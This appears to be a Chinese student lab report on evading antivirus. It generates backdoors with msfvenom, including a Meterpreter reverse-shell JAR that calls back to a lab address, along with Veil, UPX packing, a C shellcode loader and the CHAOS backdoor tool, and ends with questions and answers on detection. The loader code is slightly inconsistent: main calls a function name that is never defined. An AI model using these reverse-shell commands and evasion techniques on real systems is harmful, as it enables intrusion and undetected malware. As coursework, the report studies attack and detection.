实验过程
1、使用msf编码器
这里我们使用实验二生成的两个后门exe文件做检测。
可以发现,由于实验2中是直接用shellcode代码生成的exe文件,没有做免杀处理,所以基于特征库的检测就能检测出来。
2、msfvenom生成如jar之类的其他文件
用命令生成jar文件(结果如下图)
msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
3、veil操作
操作步骤与msf类似,输入反弹连接ip与端口生成文件即可。
4、加壳工具
使用命令对后门加壳,一样是移入共享文件夹时被查杀。
upx backdoor.exe -o upxed.exe
5、使用C + shellcode编程
编写C代码
#include
//data段可读写#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b""\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b""\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24""\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a""\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0""\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c""\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a""\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2""\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f""\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52""\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33""\x32\x2e\x64\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56""\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52""\xe8\x61\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42""\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58""\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20\x68\x6f""\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89""\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";
typedef void (__stdcall *CODE) ();
void RunShellCode_2(){
((void(*)(void))&shellcode)();
}
void main(){
RunShellCode();
}
在kali中编译,最基础的shellcode利用方式还是达不到免杀的效果。
i686-w64-mingw32-g++ shellcode.c -o shellcode.exe
6、使用CHAOS监听工具
CHAOS,CHAOS是一款用go语言编写的非常简单实用的后门生成和监听工具。
后门的生成也与msf类似
可以看到我们的后门文件已经成功生成。
问题回答
(1)杀软是如何检测出恶意代码的?
答:基于特征库检测,对文件代码与特征库进行对比,如果特征库有相似代码,及判为恶意代码。
(2)免杀是做什么?
答:免杀就是在不影响恶意代码循行的情况下对代码进行变换等操作,使其能够绕过基于特征库的检测。
(3)免杀的基本方法有哪些?
答:加壳,多次编码,对代码进行加密,对代码进行混淆。
开启杀软能绝对防止电脑中恶意代码吗?
答:我记得有句名言是“一个程序的漏洞比代码还要多”,所以杀软的特征库是有局限于当前的被发现被公开的漏洞及利用技术上,对于一些新型技术与漏洞就无法做出防御。